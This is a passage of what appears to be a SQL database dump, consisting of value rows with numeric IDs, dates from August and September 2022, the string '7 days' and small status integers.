days',0),(70302,17406,13000,13154,1783,975,'2022-08-29','7 days',1),(70303,17405,13000,13154,1783,975,'2022-08-29','7 days',1),(70304,17404,13000,13154,1783,975,'2022-08-29','7 days',0),(70305,21476,12987,13193,1779,975,'2022-08-29','7 days',1),(70306,21475,12987,13193,1779,975,'2022-08-29','7 days',1),(70307,20788,12987,13193,1779,975,'2022-08-29','7 days',1),(70308,18830,12987,13193,1779,975,'2022-08-29','7 days',0),(70309,17409,12987,13193,1779,975,'2022-08-29','7 days',0),(70310,17408,12987,13193,1779,975,'2022-08-29','7 days',0),(70311,17407,12987,13193,1779,975,'2022-08-29','7 days',0),(70312,17406,12987,13193,1779,975,'2022-08-29','7 days',1),(70313,17405,12987,13193,1779,975,'2022-08-29','7 days',1),(70314,17404,12987,13193,1779,975,'2022-08-29','7 days',0),(70315,17403,12987,13193,1779,975,'2022-08-29','7 days',2),(70316,21462,12972,13181,1749,996,'2022-08-29','7 days',0),(70317,21461,12972,13181,1749,996,'2022-08-29','7 days',0),(70318,21456,12972,13181,1749,996,'2022-08-29','7 days',0),(70319,21455,12972,13181,1749,996,'2022-08-29','7 days',0),(70320,21451,12972,13181,1749,996,'2022-08-29','7 days',2),(70321,21448,12972,13181,1749,996,'2022-08-29','7 days',0),(70322,21443,12972,13181,1749,996,'2022-08-29','7 days',0),(70323,21439,12972,13181,1749,996,'2022-08-29','7 days',0),(70324,21437,12972,13181,1749,996,'2022-08-29','7 days',0),(70325,21432,12972,13181,1749,996,'2022-08-29','7 days',0),(70326,21428,12972,13181,1749,996,'2022-08-29','7 days',0),(70327,21422,12972,13181,1749,996,'2022-08-29','7 days',0),(70328,21418,12972,13181,1749,996,'2022-08-29','7 days',0),(70329,21403,12972,13181,1749,996,'2022-08-29','7 days',0),(70330,21399,12972,13181,1749,996,'2022-08-29','7 days',0),(70331,20199,12972,13181,1749,996,'2022-08-29','7 days',0),(70332,20194,12972,13181,1749,996,'2022-08-29','7 days',0),(70333,20191,12972,13181,1749,996,'2022-08-29','7 days',0),(70334,21459,12979,13190,1749,996,'2022-08-29','7 days',0),(70335,21457,12979,13190,1749,996,'2022-08-29','7 days',0),(70336,21454,12979,13190,1749,996,'2022-08-29','7 days',0),(70337,21453,12979,13190,1749,996,'2022-08-29','7 days',0),(70338,21450,12979,13190,1749,996,'2022-08-29','7 days',0),(70339,21449,12979,13190,1749,996,'2022-08-29','7 days',0),(70340,21448,12979,13190,1749,996,'2022-08-29','7 days',0),(70341,21447,12979,13190,1749,996,'2022-08-29','7 days',0),(70342,21441,12979,13190,1749,996,'2022-08-29','7 days',0),(70343,21440,12979,13190,1749,996,'2022-08-29','7 days',0),(70344,21435,12979,13190,1749,996,'2022-08-29','7 days',0),(70345,21426,12979,13190,1749,996,'2022-08-29','7 days',0),(70346,21420,12979,13190,1749,996,'2022-08-29','7 days',0),(70347,20145,12979,13190,1749,996,'2022-08-29','7 days',0),(70348,21462,12979,13190,1749,996,'2022-08-29','7 days',0),(70349,21461,12979,13190,1749,996,'2022-08-29','7 days',0),(70350,21452,12979,13190,1749,996,'2022-08-29','7 days',0),(70351,21446,12979,13190,1749,996,'2022-08-29','7 days',0),(70352,21430,12979,13190,1749,996,'2022-08-29','7 days',0),(70353,21425,12979,13190,1749,996,'2022-08-29','7 days',0),(70354,21408,12964,13173,194,45,'2022-08-29','7 days',1),(70355,21374,12964,13173,194,45,'2022-08-29','7 days',1),(70356,14534,12964,13173,194,45,'2022-08-29','7 days',1),(70357,12532,12964,13173,194,45,'2022-08-29','7 days',1),(70358,12531,12964,13173,194,45,'2022-08-29','7 days',1),(70359,11715,12964,13173,194,45,'2022-08-29','7 days',1),(70360,17212,13012,13212,1784,959,'2022-08-30','7 days',1),(70361,17204,13012,13212,1784,959,'2022-08-30','7 days',1),(70362,15747,13012,13212,1784,959,'2022-08-30','7 days',0),(70363,20696,12991,13196,1740,1020,'2022-09-01','7 days',1),(70364,20695,12991,13196,1740,1020,'2022-09-01','7 days',0),(70365,20696,12990,13195,1740,1020,'2022-09-01','7 days',1),(70366,20695,12990,13195,1740,1020,'2022-09-01','7 days',0),(70367,20792,13016,13216,222,85,'2022-09-02','7 days',0),(70368,20792,13014,13214,221,85,'2022-09-02','7 days',0),(70369,21476,13020,13105,1779,975,'2022-09-02','7 days',1),(70370,21475,13020,13105,1779,975,'2022-09-02','7 days',1),(70371,20788,13020,13105,1779,975,'2022-09-02','7 days',1),(70372,18830,13020,13105,1779,975,'2022-09-02','7 days',0),(70373,17409,13020,13105,1779,975,'2022-09-02','7 days',1),(70374,17408,13020,13105,1779,975,'2022-09-02','7 days',0),(70375,17407,13020,13105,1779,975,'2022-09-02','7 days',0),(70376,17406,13020,13105,1779,975,'2022-09-02','7 days',1),(70377,17405,13020,13105,1779,975,'2022-09-02','7 days',1),(70378,17404,13020,13105,1779,975,'2022-09-02','7 days',0),(70379,17403,13020,13105,1779,975,'2022-09-02','7 days',0),(70380,17391,13020,13105,1779,975,'2022-09-02','7 days',0),(70381,17390,13020,13105,1779,975,'2022-09-02','7 days',0),(70382,17389,13020,13105,1779,975,'2022-09-02','7 days',0),(70383,9154,12932,13152,1452,91,'2022-09-03','7 days',1),(70384,9135,12932,13152,1452,91,'2022-09-03','7 days',1),(70385,9134,12932,13152,1452,91,'2022-09-03','7 days',1),(70386,9133,12932,13152,1452,91,'2022-09-03','7 days',1),(70387,7287,12932,13152,1452,91,'2022-09-03','7 days',1),(70388,7286,12932,13152,1452,91,'2022-09-03','7 days',1),(70389,21476,13021,13105,1410,975,'2022-09-03','7 days',1),(70390,21475,13021,13105,1410,975,'2022-09-03','7 days',1),(70391,20788,13021,13105,1410,975,'2022-09-03','7 days',1),(70392,18830,13021,13105,1410,975,'2022-09-03','7 days',0),(70393,17409,13021,13105,1410,975,'2022-09-03','7 days',0),(70394,17408,13021,13105,1410,975,'2022-09-03','7 days',0),(70395,17407,13021,13105,1410,975,'2022-09-03','7 days',0),(70396,17406,13021,13105,1410,975,'2022-09-03','7 days',1),(70397,17405,13021,13105,1410,975,'2022-09-03','7 days',1),(70398,21476,13019,13105,1779,975,'2022-09-05','7 days',0),(70399,21475,13019,13105,1779,975,'2022-09-05','7 days',1),(70400,20788,13019,13105,1779,975,'2022-09-05','7 days',1),(70401,18830,13019,13105,1779,975,'2022-09-05','7 days',0),(70402,17409,13019,13105,1779,975,'2022-09-05','7 days',1),(70403,17408,13019,13105,1779,975,'2022-09-05','7 days',0),(70404,17407,13019,13105,1779,975,'2022-09-05','7 days',0),(70405,17406,13019,13105,1779,975,'2022-09-05','7 days',1),(70406,17405,13019,13105,1779,975,'2022-09-05','7 days',1),(70407,20792,13036,13234,222,85,'2022-09-06','7 days',0),(70408,17682,13037,12146,1668,277,'2022-09-06','7 days',1),(70409,17681,13037,12146,1668,277,'2022-09-06','7 days',0),(70410,20792,13026,13146,221,85,'2022-09-06','7 days',0),(70411,20792,13025,13222,222,85,'2022-09-06','7 days',0),(70412,20792,13024,13221,222,85,'2022-09-06','7 days',0),(70413,11446,13024,13221,222,85,'2022-09-06','7 days',0),(70414,20792,13023,13220,222,85,'2022-09-06','7 days',0),(70415,8784,13008,13210,162,73,'2022-09-06','7 days',1),(70416,8783,13008,13210,162,73,'2022-09-06','7 days',0),(70417,656,13008,13210,162,73,'2022-09-06','7 days',0),(70418,653,13008,13210,162,73,'2022-09-06','7 days',0),(70419,21378,13008,13210,162,73,'2022-09-06','7 days',1),(70420,21319,13008,13210,162,73,'2022-09-06','7 days',0),(70421,21318,13008,13210,162,73,'2022-09-06','7 days',0),(70422,21317,13008,13210,162,73,'2022-09-06','7 days',0),(70423,21316,13008,13210,162,73,'2022-09-06','7 days',0),(70424,673,12861,13083,160,73,'2022-09-06','7 days',0),(70425,667,12861,13083,160,73,'2022-09-06','7 days',0),(70426,666,12861,13083,160,73,'2022-09-06','7 days',0),(70427,17213,13033,13230,1786,959,'2022-09-07','7 days',1),(70428,17211,13033,13230,1786,959,'2022-09-07','7 days',1),(70429,14071,13033,13230,1786,959,'2022-09-07','7 days',1),(70430,17213,13030,13227,1785,959,'2022-09-07','7 days',1),(70431,17211,13030,13227,1785,959,'2022-09-07','7 days',1),(70432,14071,13030,13227,1785,959,'2022-09-07','7 days',1),(70433,17213,13028,13225,1784,959,'2022-09-07','7 days',1),(70434,17211,13028,13225,1784,959,'2022-09-07','7 days',1),(70435,14071,13028,13225,1784,959,'2022-09-07','7 days',1),(70436,17212,13017,13217,1367,959,'2022-09-07','7 days',1),(70437,17204,13017,13217,1367,959,'2022-09-07','7 days',1),(70438,15747,13017,13217,1367,959,'2022-09-07','7 days',0),(70439,17213,13015,13215,1324,959,'2022-09-07','7 days',1),(70440,17211,13015,13215,1324,959,'2022-09-07','7 days',1),(70441,14071,13015,13215,1324,959,'2022-09-07','7 days',1),(70442,21476,13038,13235,1783,975,'2022-09-08','7 days',1),(70443,21475,13038,13235,1783,975,'2022-09-08','7 days',1),(70444,20788,13038,13235,1783,975,'2022-09-08','7 days',1),(70445,18830,13038,13235,1783,975,'2022-09-08','7 days',0),(70446,17409,13038,13235,1783,975,'2022-09-08','7 days',1),(70447,17408,13038,13235,1783,975,'2022-09-08','7 days',0),(70448,17407,13038,13235,1783,975,'2022-09-08','7 days',0),(70449,17406,13038,13235,1783,975,'2022-09-08','7 days',1),(70450,17405,13038,13235,1783,975,'2022-09-08','7 days',1),(70451,17404,13038,13235,1783,975,'2022-09-08','7 days',0),(70452,17403,13038,13235,1783,975,'2022-09-08','7 days',0),(70453,17391,13038,13235,1783,975,'2022-09-08','7 days',0),(70454,17390,13038,13235,1783,975,'2022-09-08','7 days',0),(70455,17212,13047,13244,1786,959,'2022-09-08','7 days',1),(70456,17204,13047,13244,1786,959,'2022-09-08','7 days',1),(70457,15747,13047,13244,1786,959,'2022-09-08','7 days',0),(70458,21506,13051,13245,1787,959,'2022-09-09','7 days',0),(70459,21520,13052,13249,193,45,'2022-09-13','7 days',0),(70460,21519,13052,13249,193,45,'2022-09-13','7 days',1),(70461,21518,13052,13249,193,45,'2022-09-13','7 days',2),(70462,21517,13052,13249,193,45,'2022-09-13','7 days',2),(70463,21516,13052,13249,193,45,'2022-09-13','7 days',0),(70464,21515,13052,13249,193,45,'2022-09-13','7 days',0),(70465,21514,13052,13249,193,45,'2022-09-13','7 days',0),(70466,14684,13040,13237,193,45,'2022-09-13','7 days',0),(70467,13913,13040,13237,193,45,'2022-09-13','7 days',0),(70468,12562,13040,13237,193,45,'2022-09-13','7 days',1),(70469,11689,13040,13237,193,45,'2022-09-13','7 days',1),(70470,11687,13040,13237,193,45,'2022-09-13','7 days',1),(70471,21521,13038,13235,1783,975,'2022-09-14','7 days',1),(70472,21377,13049,13247,161,73,'2022-09-15','7 days',2),(70473,9012,13049,13247,161,73,'2022-09-15','7 days',0),(70474,9010,13049,13247,161,73,'2022-09-15','7 days',0),(70475,8785,13049,13247,161,73,'2022-09-15','7 days',0),(70476,8782,13049,13247,161,73,'2022-09-15','7 days',0),(70477,652,13049,13247,161,73,'2022-09-15','7 days',0),(70478,651,13049,13247,161,73,'2022-09-15','7 days',0),(70479,644,13049,13247,161,73,'2022-09-15','7 days',0),(70480,643,13049,13247,161,73,'2022-09-15','7 days',0),(70481,641,13049,13247,161,73,'2022-09-15','7 days',0),(70482,21378,13048,13246,160,73,'2022-09-15','7 days',1),(70483,21319,13048,13246,160,73,'2022-09-15','7 days',0),(70484,21318,13048,13246,160,73,'2022-09-15','7 days',0),(70485,21317,13048,13246,160,73,'2022-09-15','7 days',0),(70486,21316,13048,13246,160,73,'2022-09-15','7 days',0),(70487,21315,13048,13246,160,73,'2022-09-15','7 days',0),(70488,21314,13048,13246,160,73,'2022-09-15','7 days',0),(70489,21313,13048,13246,160,73,'2022-09-15','7 days',0),(70490,21312,13048,13246,160,73,'2022-09-15','7 days',0),(70491,21311,13048,13246,160,73,'2022-09-15','7 days',0),(70492,21521,13059,13256,1779,975,'2022-09-15','7 days',1),(70493,21476,13059,13256,1779,975,'2022-09-15','7 days',2),(70494,21475,13059,13256,1779,975,'2022-09-15','7 days',1),(70495,20788,13059,13256,1779,975,'2022-09-15','7 days',1),(70496,18830,13059,13256,1779,975,'2022-09-15','7 days',0),(70497,17409,13059,13256,1779,975,'2022-09-15','7 days',1),(70498,17408,13059,13256,1779,975,'2022-09-15','7 days',0),(70499,17407,13059,13256,1779,975,'2022-09-15','7 days',0),(70500,17074,13066,13264,1456,667,'2022-09-16','7 days',1),(70501,15399,13066,13264,1456,667,'2022-09-16','7 days',0),(70502,15398,13066,13264,1456,667,'2022-09-16','7 days',1),(70503,15397,13066,13264,1456,667,'2022-09-16','7 days',1),(70504,15396,13066,13264,1456,667,'2022-09-16','7 days',0),(70505,15187,13066,13264,1456,667,'2022-09-16','7 days',0),(70506,15186,13066,13264,1456,667,'2022-09-16','7 days',1),(70507,15185,13066,13264,1456,667,'2022-09-16','7 days',0),(70508,15184,13066,13264,1456,667,'2022-09-16','7 days',0),(70509,15183,13066,13264,1456,667,'2022-09-16','7 days',1),(70510,15182,13066,13264,1456,667,'2022-09-16','7 days',1),(70511,15181,13066,13264,1456,667,'2022-09-16','7 days',2),(70512,15180,13066,13264,1456,667,'2022-09-16','7 days',0),(70513,15179,13066,13264,1456,667,'2022-09-16','7 days',0),(70514,15178,13066,13264,1456,667,'2022-09-16','7 days',0),(70515,15177,13066,13264,1456,667,'2022-09-16','7 days',2),(70516,15176,13066,13264,1456,667,'2022-09-16','7 days',0),(70517,14805,13066,13264,1456,667,'2022-09-16','7 days',0),(70518,14767,13066,13264,1456,667,'2022-09-16','7 days',0),(70519,14766,13066,13264,1456,667,'2022-09-16','7 days',0),(70520,14765,13066,13264,1456,667,'2022-09-16','7 days',1),(70521,14764,13066,13264,1456,667,'2022-09-16','7 days',0),(70522,17074,13044,13241,1456,667,'2022-09-16','7 days',1),(70523,15399,13044,13241,1456,667,'2022-09-16','7 days',0),(70524,15398,13044,13241,1456,667,'2022-09-16','7 days',1),(70525,15397,13044,13241,1456,667,'2022-09-16','7 days',1),(70526,15396,13044,13241,1456,667,'2022-09-16','7 days',0),(70527,15187,13044,13241,1456,667,'2022-09-16','7 days',0),(70528,15186,13044,13241,1456,667,'2022-09-16','7 days',1),(70529,15185,13044,13241,1456,667,'2022-09-16','7 days',0),(70530,15184,13044,13241,1456,667,'2022-09-16','7 days',0),(70531,15183,13044,13241,1456,667,'2022-09-16','7 days',1),(70532,15182,13044,13241,1456,667,'2022-09-16','7 days',1),(70533,15181,13044,13241,1456,667,'2022-09-16','7 days',0),(70534,15180,13044,13241,1456,667,'2022-09-16','7 days',0),(70535,15179,13044,13241,1456,667,'2022-09-16','7 days',0),(70536,15178,13044,13241,1456,667,'2022-09-16','7 days',0),(70537,15177,13044,13241,1456,667,'2022-09-16','7 days',2),(70538,15176,13044,13241,1456,667,'2022-09-16','7 days',0),(70539,14805,13044,13241,1456,667,'2022-09-16','7 days',0),(70540,14767,13044,13241,1456,667,'2022-09-16','7 days',0),(70541,14766,13044,13241,1456,667,'2022-09-16','7 days',0),(70542,14765,13044,13241,1456,667,'2022-09-16','7 days',1),(70543,14764,13044,13241,1456,667,'2022-09-16','7 days',2),(70544,17074,13042,13239,1456,667,'2022-09-16','7 days',1),(70545,15399,13042,13239,1456,667,'2022-09-16','7 days',0),(70546,15398,13042,13239,1456,667,'2022-09-16','7 days',1),(70547,15397,13042,13239,1456,667,'2022-09-16','7 days',1),(70548,15396,13042,13239,1456,667,'2022-09-16','7 days',0),(70549,15187,13042,13239,1456,667,'2022-09-16','7 days',0),(70550,15186,13042,13239,1456,667,'2022-09-16','7 days',1),(70551,15185,13042,13239,1456,667,'2022-09-16','7 days',0),(70552,15184,13042,13239,1456,667,'2022-09-16','7 days',0),(70553,15183,13042,13239,1456,667,'2022-09-16','7 days',1),(70554,15182,13042,13239,1456,667,'2022-09-16','7 days',1),(70555,15181,13042,13239,1456,667,'2022-09-16','7 days',2),(70556,15180,13042,13239,1456,667,'2022-09-16','7 days',0),(70557,15179,13042,13239,1456,667,'2022-09-16','7 days',0),(70558,15178,13042,13239,1456,667,'2022-09-16','7 days',0),(70559,15177,13042,13239,1456,667,'2022-09-16','7 days',2),(70560,15176,13042,13239,1456,667,'2022-09-16','7 days',0),(70561,14805,13042,13239,1456,667,'2022-09-16','7 days',0),(70562,14767,13042,13239,1456,667,'2022-09-16','7 days',0),(70563,14766,13042,13239,1456,667,'2022-09-16','7 days',0),(70564,14765,13042,13239,1456,667,'2022-09-16','7 days',1),(70565,14764,13042,13239,1456,667,'2022-09-16','7 days',2),(70566,17074,13041,13238,1456,667,'2022-09-16','7 days',1),(70567,15399,13041,13238,1456,667,'2022-09-16','7 days',0),(70568,15398,13041,13238,1456,667,'2022-09-16','7 days',1),(70569,15397,13041,13238,1456,667,'2022-09-16','7 days',1),(70570,15396,13041,13238,1456,667,'2022-09-16','7 days',0),(70571,15187,13041,13238,1456,667,'2022-09-16','7 days',0),(70572,15186,13041,13238,1456,667,'2022-09-16','7 days',1),(70573,15185,13041,13238,1456,667,'2022-09-16','7 days',0),(70574,15184,13041,13238,1456,667,'2022-09-16','7 days',0),(70575,15183,13041,13238,1456,667,'2022-09-16','7 days',1),(70576,15182,13041,13238,1456,667,'2022-09-16','7 days',1),(70577,15181,13041,13238,1456,667,'2022-09-16','7 days',2),(70578,15180,13041,13238,1456,667,'2022-09-16','7 days',0),(70579,15179,13041,13238,1456,667,'2022-09-16','7 days',0),(70580,15178,13041,13238,1456,667,'2022-09-16','7 days',0),(70581,15177,13041,13238,1456,667,'2022-09-16','7 days',2),(70582,15176,13041,13238,1456,667,'2022-09-16','7 days',0),(70583,14805,13041,13238,1456,667,'2022-09-16','7 days',0),(70584,14767,13041,13238,1456,667,'2022-09-16','7 days',0),(70585,14766,13041,13238,1456,667,'2022-09-16','7 days',0),(70586,14765,13041,13238,1456,667,'2022-09-16','7 days',1),(70587,14764,13041,13238,1456,667,'2022-09-16','7 days',2),(70588,17074,13045,13242,1370,667,'2022-09-16','7 days',1),(70589,15399,13045,13242,1370,667,'2022-09-16','7 days',0),(70590,15398,13045,13242,1370,667,'2022-09-16','7 days',1),(70591,15397,13045,13242,1370,667,'2022-09-16','7 days',1),(70592,15396,13045,13242,1370,667,'2022-09-16','7 days',0),(70593,15187,13045,13242,1370,667,'2022-09-16','7 days',0),(70594,15186,13045,13242,1370,667,'2022-09-16','7 days',1),(70595,15185,13045,13242,1370,667,'2022-09-16','7 days',0),(70596,15184,13045,13242,1370,667,'2022-09-16','7 days',0),(70597,15183,13045,13242,1370,667,'2022-09-16','7 days',1),(70598,15182,13045,13242,1370,667,'2022-09-16','7 days',1),(70599,15181,13045,13242,1370,667,'2022-09-16','7 days',2),(70600,15180,13045,13242,1370,667,'2022-09-16','7 days',0),(70601,17074,13043,13240,1370,667,'2022-09-16','7 days',1),(70602,9154,13006,13208,1452,91,'2022-09-17','7 days',1),(70603,9135,13006,13208,1452,91,'2022-09-17','7 days',1),(70604,9134,13006,13208,1452,91,'2022-09-17','7 days',1),(70605,9133,13006,13208,1452,91,'2022-09-17','7 days',1),(70606,7287,13006,13208,1452,91,'2022-09-17','7 days',1),(70607,7286,13006,13208,1452,91,'2022-09-17','7 days',1),(70608,14534,13062,13260,192,45,'2022-09-17','7 days',1),(70609,12532,13062,13260,192,45,'2022-09-17','7 days',1),(70610,12531,13062,13260,192,45,'2022-09-17','7 days',1),(70611,11715,13062,13260,192,45,'2022-09-17','7 days',1),(70612,11714,13062,13260,192,45,'2022-09-17','7 days',1),(70613,21377,13048,13246,160,73,'2022-09-19','7 days',2),(70614,9012,13048,13246,160,73,'2022-09-19','7 days',0),(70615,9010,13048,13246,160,73,'2022-09-19','7 days',0),(70616,8785,13048,13246,160,73,'2022-09-19','7 days',0),(70617,8782,13048,13246,160,73,'2022-09-19','7 days',0),(70618,652,13048,13246,160,73,'2022-09-19','7 days',0),(70619,651,13048,13246,160,73,'2022-09-19','7 days',0),(70620,644,13048,13246,160,73,'2022-09-19','7 days',0),(70621,643,13048,13246,160,73,'2022-09-19','7 days',0),(70622,641,13048,13246,160,73,'2022-09-19','7 days',0),(70623,638,13048,13246,160,73,'2022-09-19','7 days',0),(70624,635,13048,13246,160,73,'2022-09-19','7 days',0),(70625,630,13048,13246,160,73,'2022-09-19','7 days',0),(70626,21527,13067,13265,193,45,'2022-09-19','7 days',0),(70627,21526,13067,13265,193,45,'2022-09-19','7 days',1),(70628,21525,13067,13265,193,45,'2022-09-19','7 days',0),(70629,21524,13067,13265,193,45,'2022-09-19','7 days',0),(70630,21523,13067,13265,193,45,'2022-09-19','7 days',0),(70631,21522,13067,13265,193,45,'2022-09-19','7 days',0),(70632,4512,13063,13261,634,639,'2022-09-19','7 days',1),(70633,4494,13063,13261,634,639,'2022-09-19','7 days',1),(70634,4487,13063,13261,634,639,'2022-09-19','7 days',0),(70635,4483,13063,13261,634,639,'2022-09-19','7 days',2),(70636,4477,13063,13261,634,639,'2022-09-19','7 days',0),(70637,4473,13063,13261,634,639,'2022-09-19','7 days',0),(70638,8796,13070,13269,634,639,'2022-09-19','7 days',0),(70639,4502,13070,13269,634,639,'2022-09-19','7 days',0),(70640,17489,13070,13269,634,639,'2022-09-19','7 days',1),(70641,17451,13070,13269,634,639,'2022-09-19','7 days',0),(70642,4516,13070,13269,634,639,'2022-09-19','7 days',0),(70643,4514,13070,13269,634,639,'2022-09-19','7 days',0),(70644,4499,13070,13269,634,639,'2022-09-19','7 days',0),(70645,4467,13070,13269,634,639,'2022-09-19','7 days',0),(70646,4460,13070,13269,634,639,'2022-09-19','7 days',0),(70647,21310,13048,13246,160,73,'2022-09-20','7 days',0),(70648,21309,13048,13246,160,73,'2022-09-20','7 days',0),(70649,21308,13048,13246,160,73,'2022-09-20','7 days',0),(70650,21307,13048,13246,160,73,'2022-09-20','7 days',1),(70651,21306,13048,13246,160,73,'2022-09-20','7 days',0),(70652,21305,13048,13246,160,73,'2022-09-20','7 days',0),(70653,21304,13048,13246,160,73,'2022-09-20','7 days',0),(70654,21303,13048,13246,160,73,'2022-09-20','7 days',0),(70655,20789,13069,13268,1675,86,'2022-09-20','7 days',0),(70656,20731,13069,13268,1675,86,'2022-09-20','7 days',0),(70657,20730,13069,13268,1675,86,'2022-09-20','7 days',0),(70658,20666,13069,13268,1675,86,'2022-09-20','7 days',0),(70659,20665,13069,13268,1675,86,'2022-09-20','7 days',0),(70660,18934,13069,13268,1675,86,'2022-09-20','7 days',2),(70661,18930,13069,13268,1675,86,'2022-09-20','7 days',0),(70662,18929,13069,13268,1675,86,'2022-09-20','7 days',0),(70663,18928,13069,13268,1675,86,'2022-09-20','7 days',0),(70664,18695,13069,13268,1675,86,'2022-09-20','7 days',0),(70665,673,13008,13210,162,73,'2022-09-20','7 days',0),(70666,667,13008,13210,162,73,'2022-09-20','7 days',0),(70667,21315,13008,13210,162,73,'2022-09-20','7 days',0),(70668,21314,13008,13210,162,73,'2022-09-20','7 days',0),(70669,21313,13008,13210,162,73,'2022-09-20','7 days',0),(70670,21312,13008,13210,162,73,'2022-09-20','7 days',0),(70671,21311,13008,13210,162,73,'2022-09-20','7 days',0),(70672,21310,13008,13210,162,73,'2022-09-20','7 days',0),(70673,670,12977,13018,160,73,'2022-09-20','7 days',0),(70674,660,12977,13018,160,73,'2022-09-20','7 days',0),(70675,8784,12977,13018,160,73,'2022-09-20','7 days',1),(70676,8783,12977,13018,160,73,'2022-09-20','7 days',0),(70677,656,12977,13018,160,73,'2022-09-20','7 days',0),(70678,653,12977,13018,160,73,'2022-09-20','7 days',0),(70679,21366,12721,12982,1661,277,'2022-09-20','7 days',0),(70680,20671,8771,9827,0,277,'2022-09-20','7 days',0),(70681,20414,8771,9827,0,277,'2022-09-20','7 days',0),(70682,20413,8771,9827,0,277,'2022-09-20','7 days',0),(70683,20414,12676,12939,1666,277,'2022-09-20','7 days',0),(70684,15857,11980,12281,1662,277,'2022-09-20','7 days',0),(70685,15856,11980,12281,1662,277,'2022-09-20','7 days',0),(70686,20671,4216,5429,1235,277,'2022-09-20','7 days',0),(70687,17682,2584,3324,1235,277,'2022-09-20','7 days',1),(70688,18562,13069,13268,1675,86,'2022-09-21','7 days',0),(70689,18561,13069,13268,1675,86,'2022-09-21','7 days',0),(70690,18560,13069,13268,1675,86,'2022-09-21','7 days',0),(70691,17502,13069,13268,1675,86,'2022-09-21','7 days',0),(70692,17501,13069,13268,1675,86,'2022-09-21','7 days',0),(70693,17500,13069,13268,1675,86,'2022-09-21','7 days',0),(70694,17078,13069,13268,1675,86,'2022-09-21','7 days',0),(70695,17077,13069,13268,1675,86,'2022-09-21','7 days',0),(70696,17076,13069,13268,1675,86,'2022-09-21','7 days',0),(70697,16783,13069,13268,1675,86,'2022-09-21','7 days',0),(70698,17682,13075,13273,1594,277,'2022-09-23','7 days',1),(70699,17681,13075,13273,1594,277,'2022-09-23','7 days',0),(70700,15861,13075,13273,1594,277,'2022-09-23','7 days',0),(70701,15860,13075,13273,1594,277,'2022-09-23','7 days',0),(70702,15859,13075,13273,1594,277,'2022-09-23','7 days',0),(70703,9898,13075,13273,1594,277,'2022-09-23','7 days',0),(70704,9900,13075,13273,1594,277,'2022-09-23','7 days',0),(70705,15858,13075,13273,1594,277,'2022-09-23','7 days',0),(70706,9911,13075,13273,1594,277,'2022-09-23','7 days',0),(70707,9899,13075,13273,1594,277,'2022-09-23','7 days',0),(70708,15857,13075,13273,1594,277,'2022-09-23','7 days',0),(70709,9897,13075,13273,1594,277,'2022-09-23','7 days',1),(70710,15856,13075,13273,1594,277,'2022-09-23','7 days',0),(70711,8590,13075,13273,1594,277,'2022-09-23','7 days',1),(70712,9904,13075,13273,1594,277,'2022-09-23','7 days',0),(70713,15855,13075,13273,1594,277,'2022-09-23','7 days',0),(70714,9901,13075,13273,1594,277,'2022-09-23','7 days',0),(70715,9902,13075,13273,1594,277,'2022-09-23','7 days',0),(70716,12971,13075,13273,1594,277,'2022-09-23','7 days',0),(70717,12022,13075,13273,1594,277,'2022-09-23','7 days',0),(70718,17682,7472,8733,1594,277,'2022-09-23','7 days',1),(70719,20669,13069,13268,1675,86,'2022-09-24','7 days',0),(70720,17081,13069,13268,1675,86,'2022-09-24','7 days',0),(70721,17080,13069,13268,1675,86,'2022-09-24','7 days',0),(70722,17079,13069,13268,1675,86,'2022-09-24','7 days',0),(70723,16782,13069,13268,1675,86,'2022-09-26','7 days',0),(70724,16739,13069,13268,1675,86,'2022-09-26','7 days',0),(70725,16024,13069,13268,1675,86,'2022-09-26','7 days',0),(70726,15975,13069,13268,1675,86,'2022-09-26','7 days',2),(70727,15589,13069,13268,1675,86,'2022-09-26','7 days',0),(70728,15588,13069,13268,1675,86,'2022-09-26','7 days',0),(70729,15587,13069,13268,1675,86,'2022-09-26','7 days',0),(70730,15586,13069,13268,1675,86,'2022-09-26','7 days',0),(70731,15585,13069,13268,1675,86,'2022-09-26','7 days',0),(70732,15584,13069,13268,1675,86,'2022-09-26','7 days',0),(70733,4467,13063,13261,634,639,'2022-09-27','7 days',2),(70734,21530,13063,13261,634,639,'2022-09-27','7 days',1),(70735,17546,12908,13129,1068,326,'2022-09-27','7 days',1),(70736,9797,12908,13129,1068,326,'2022-09-27','7 days',0),(70737,9796,12908,13129,1068,326,'2022-09-27','7 days',0),(70738,9795,12908,13129,1068,326,'2022-09-27','7 days',0),(70739,9720,12908,13129,1068,326,'2022-09-27','7 days',0),(70740,9719,12908,13129,1068,326,'2022-09-27','7 days',2),(70741,7421,12908,13129,1068,326,'2022-09-27','7 days',0),(70742,7420,12908,13129,1068,326,'2022-09-27','7 days',0),(70743,7419,12908,13129,1068,326,'2022-09-27','7 days',0),(70744,7418,12908,13129,1068,326,'2022-09-27','7 days',1),(70745,21531,13089,13288,1069,326,'2022-09-27','7 days',1),(70746,17546,13089,13288,1069,326,'2022-09-27','7 days',1),(70747,9797,13089,13288,1069,326,'2022-09-27','7 days',0),(70748,9796,13089,13288,1069,326,'2022-09-27','7 days',0),(70749,9795,13089,13288,1069,326,'2022-09-27','7 days',0),(70750,9720,13089,13288,1069,326,'2022-09-27','7 days',0),(70751,9719,13089,13288,1069,326,'2022-09-27','7 days',0),(70752,7421,13089,13288,1069,326,'2022-09-27','7 days',0),(70753,7420,13089,13288,1069,326,'2022-09-27','7 days',0),(70754,7419,13089,13288,1069,326,'2022-09-27','7 days',0),(70755,7418,13089,13288,1069,326,'2022-09-27','7 days',0),(70756,7417,13089,13288,1069,326,'2022-09-27','7 days',0),(70757,7416,13089,13288,1069,326,'2022-09-27','7 days',1),(70758,7415,13089,13288,1069,326,'2022-09-27','7 days',0),(70759,14051,13088,13287,1069,326,'2022-09-27','7 days',0),(70760,12897,13088,13287,1069,326,'2022-09-27','7 days',0),(70761,12875,13088,13287,1069,326,'2022-09-27','7 days',0),(70762,9805,13088,13287,1069,326,'2022-09-27','7 days',0),(70763,9803,13088,13287,1069,326,'2022-09-27','7 days',0),(70764,9802,13088,13287,1069,326,'2022-09-27','7 days',0),(70765,9801,13088,13287,1069,326,'2022-09-27','7 days',0),(70766,9800,13088,13287,1069,326,'2022-09-27','7 days',0),(70767,9798,13088,13287,1069,326,'2022-09-27','7 days',0),(70768,21395,13075,13273,1594,277,'2022-09-27','7 days',1),(70769,20438,13075,13273,1594,277,'2022-09-27','7 days',0),(70770,20437,13075,13273,1594,277,'2022-09-27','7 days',0),(70771,20436,13075,13273,1594,277,'2022-09-27','7 days',0),(70772,20435,13075,13273,1594,277,'2022-09-27','7 days',0),(70773,21495,13076,13274,190,45,'2022-09-28','7 days',0),(70774,21494,13076,13274,190,45,'2022-09-28','7 